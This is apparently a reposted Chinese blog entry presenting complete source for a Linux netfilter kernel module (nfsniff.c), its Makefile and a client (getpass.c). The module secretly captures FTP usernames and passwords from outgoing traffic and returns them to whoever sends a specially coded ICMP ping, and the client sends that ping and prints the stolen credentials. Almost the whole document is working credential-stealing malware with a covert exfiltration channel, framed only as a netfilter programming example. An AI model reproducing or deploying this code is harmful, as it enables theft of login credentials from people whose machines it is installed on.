netfilter例子改写4

来源:互联网 发布:淘宝创建订单失败 编辑:程序博客网 时间:2024/05/23 01:11
nfsniff.c
--------------Begin---------------------
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(iphdr->tot_len) \
                                - sizeof(struct iphdr) \
                                - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
 * they are queried. Only one USER/PASS pair will be held at one
 * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0;       /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook;    /* Incoming */
struct nf_hook_ops post_hook;   /* Outgoing */

/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void
check_ftp (struct sk_buff *skb)
{
        struct tcphdr *tcp;
        char *data;
        int len = 0;
        int i = 0;
        struct iphdr *iphdr = NULL;
        iphdr = ip_hdr (skb);

        tcp = tcp_hdr (skb);    //(struct tcphdr *)(skb->data + (iphdr->ihl * 4));
        data = (char *) ((int) tcp + (int) (tcp->doff * 4));

        /* Now, if we have a username already, then we have a target_ip.
         * Make sure that this packet is destined for the same host. */
        if (username)
                if (iphdr->daddr != target_ip || tcp->source != target_port)
                        return;

        /* Now try to see if this is a USER or PASS packet */
        if (strncmp (data, "USER ", 5) == 0) {  /* Username */
                data += 5;

                if (username)
                        return;

                while (*(data + i) != '\r' && *(data + i) != '\n'
                       && *(data + i) != '\0' && i < 15) {
                        len++;
                        i++;
                }

                if ((username = kmalloc (len + 2, GFP_KERNEL)) == NULL)
                        return;
                memset (username, 0x00, len + 2);
                memcpy (username, data, len);
                *(username + len) = '\0';       /* NULL terminate */
        }
        else if (strncmp (data, "PASS ", 5) == 0) {     /* Password */
                data += 5;

                /* If a username hasn't been logged yet then don't try logging
                 * a password */
                if (username == NULL)
                        return;
                if (password)
                        return;

                while (*(data + i) != '\r' && *(data + i) != '\n'
                       && *(data + i) != '\0' && i < 15) {
                        len++;
                        i++;
                }

                if ((password = kmalloc (len + 2, GFP_KERNEL)) == NULL)
                        return;
                memset (password, 0x00, len + 2);
                memcpy (password, data, len);
                *(password + len) = '\0';       /* NULL terminate */
        }
        else if (strncmp (data, "QUIT", 4) == 0) {
                /* Quit command received. If we have a username but no password,
                 * clear the username and reset everything */
                if (have_pair)
                        return;
                if (username && !password) {
                        kfree (username);
                        username = NULL;
                        target_port = target_ip = 0;
                        have_pair = 0;

                        return;
                }
        }
        else {
                return;
        }

        if (!target_ip)
                target_ip = iphdr->daddr;
        if (!target_port)
                target_port = tcp->source;

        if (username && password)
                have_pair++;    /* Have a pair. Ignore others until
                                 * this pair has been read. */
//      if (have_pair)
//              printk ("Have password pair!  U: %s   P: %s\n", username,
//                      password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int
watch_out (unsigned int hooknum,
           struct sk_buff *skb,
           const struct net_device *in,
           const struct net_device *out, int (*okfn) (struct sk_buff *))
{
        struct tcphdr *tcp;
        struct iphdr *iphdr = NULL;

        /* Make sure this is a TCP packet first */
        iphdr = ip_hdr (skb);
        if (iphdr->protocol != IPPROTO_TCP)
                return NF_ACCEPT;       /* Nope, not TCP */

        tcp = tcp_hdr (skb);    //(struct tcphdr *)((skb->data) + (iphdr->ihl * 4));

        /* Now check to see if it's an FTP packet */
        if (tcp->dest != htons (21))
                return NF_ACCEPT;       /* Nope, not FTP */

        /* Parse the FTP packet for relevant information if we don't already
         * have a username and password pair. */
        if (!have_pair)
                check_ftp (skb);

        /* We are finished with the packet, let it go on its way */
        return NF_ACCEPT;
}

/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int
watch_in (unsigned int hooknum,
          struct sk_buff *skb,
          const struct net_device *in,
          const struct net_device *out, int (*okfn) (struct sk_buff *))
{
        struct sk_buff *sb = skb;
        struct icmphdr *icmp;
        char *cp_data;          /* Where we copy data to in reply */
        unsigned int taddr;     /* Temporary IP holder */
        struct iphdr *iphdr = NULL;

        /* Do we even have a username/password pair to report yet? */
        if (!have_pair)
                return NF_ACCEPT;

        /* Is this an ICMP packet? */
        iphdr = ip_hdr (sb);
        if (iphdr->protocol != IPPROTO_ICMP)
                return NF_ACCEPT;

        icmp = (struct icmphdr *) (sb->data + iphdr->ihl * 4);

        /* Is it the MAGIC packet? */
        if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
            || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
                return NF_ACCEPT;
        }

        /* Okay, matches our checks for "Magicness", now we fiddle with
         * the sk_buff to insert the IP address, and username/password pair,
         * swap IP source and destination addresses and ethernet addresses
         * if necessary and then transmit the packet from here and tell
         * Netfilter we stole it. Phew... */
        taddr = iphdr->saddr;
        iphdr->saddr = iphdr->daddr;
        iphdr->daddr = taddr;

        sb->pkt_type = PACKET_OUTGOING;

        switch (sb->dev->type) {
        case ARPHRD_PPP:        /* No fiddling needs doing */
                break;
        case ARPHRD_LOOPBACK:
        case ARPHRD_ETHER:
                {
                        unsigned char t_hwaddr[ETH_ALEN];

                        /* Move the data pointer to point to the link layer header */
                        sb->data = (unsigned char *) eth_hdr (sb);
                        sb->len += ETH_HLEN;    //sizeof(sb->mac.ethernet);
                        memcpy (t_hwaddr, (eth_hdr (sb)->h_dest), ETH_ALEN);
                        memcpy ((eth_hdr (sb)->h_dest),
                                (eth_hdr (sb)->h_source), ETH_ALEN);
                        memcpy ((eth_hdr (sb)->h_source), t_hwaddr, ETH_ALEN);

                        break;
                }
        };

        /* Now copy the IP address, then Username, then password into packet */
        cp_data = (char *) ((char *) icmp + sizeof (struct icmphdr));
        memcpy (cp_data, &target_ip, 4);
        if (username)
                memcpy (cp_data + 4, username, 16);
        if (password)
                memcpy (cp_data + 20, password, 16);

        /* This is where things will die if they are going to.
         * Fingers crossed... */
        dev_queue_xmit (sb);

        /* Now free the saved username and password and reset have_pair */
        kfree (username);
        kfree (password);
        username = password = NULL;
        have_pair = 0;

        target_port = target_ip = 0;

//      printk ("Password retrieved\n");

        return NF_STOLEN;
}

int
init_module ()
{
        pre_hook.hook = watch_in;
        pre_hook.pf = PF_INET;
        pre_hook.priority = NF_IP_PRI_FIRST;
        pre_hook.hooknum = NF_INET_PRE_ROUTING;

        post_hook.hook = watch_out;
        post_hook.pf = PF_INET;
        post_hook.priority = NF_IP_PRI_FIRST;
        post_hook.hooknum = NF_INET_POST_ROUTING;

//      printk("nfsniff init_module!\n");
        nf_register_hook (&pre_hook);
        nf_register_hook (&post_hook);

        return 0;
}

void
cleanup_module ()
{
        nf_unregister_hook (&post_hook);
        nf_unregister_hook (&pre_hook);

//      printk("nfsniff cleanup_module!\n");
        if (password)
                kfree (password);
        if (username)
                kfree (username);
}
------------------End------------------------------
Makefile
------------------Begin----------------------------
MODULE_NAME:=nfsniff
ifneq ($(KERNELRELEASE),)
mymodule-objs:=${MODULE_NAME}.o
obj-m:=${MODULE_NAME}.o
else
PWD:=$(shell pwd)
KVER:=$(shell uname -r)

KDIR:=/usr/src/linux-source-3.2.0/linux-source-3.2.0
all:getpass.o
        gcc -o getpass getpass.o
        $(MAKE) -C $(KDIR) M=$(PWD)
clean:
        @rm -rf .*.com *.o *.mod.c *.ko .tmp_versions modules.order Module.symvers getpass
install:
        @insmod ${MODULE_NAME}.ko
uninstall:
        @rmmod ${MODULE_NAME}.ko
getpass.o:getpass.c
        gcc -c getpass.c
endif
-----------------------End---------------------------
getpass.c
-----------------------Begin-------------------------
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD                     /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];          /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;

    if (argc < 3) {
        fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
        exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
        fprintf(stderr, "Couldn't open raw socket! %s\n",
                strerror(errno));
        exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
                  ptr_one, sizeof(one)) < 0) {
        close(icmp_sock);
        fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
                strerror(errno));
        exit(1);
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);

    my_addr.s_addr = inet_addr(argv[2]);

    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);

    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;

    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
               sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, "\nFailed sending request! %s\n",
                strerror(errno));
        return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
                 &src_addr_size) < 0) {
        fprintf(stdout, "Failed getting reply packet! %s\n",
                strerror(errno));
        close(icmp_sock);
        exit(1);
    }

    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
           sizeof (struct in_addr));

    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
             (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
             (char *)((char *)icmphead + 28));

    close(icmp_sock);

    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;

   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */

   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);

   return ~sum;
}
------------------End----------------------------------------
原创粉丝点击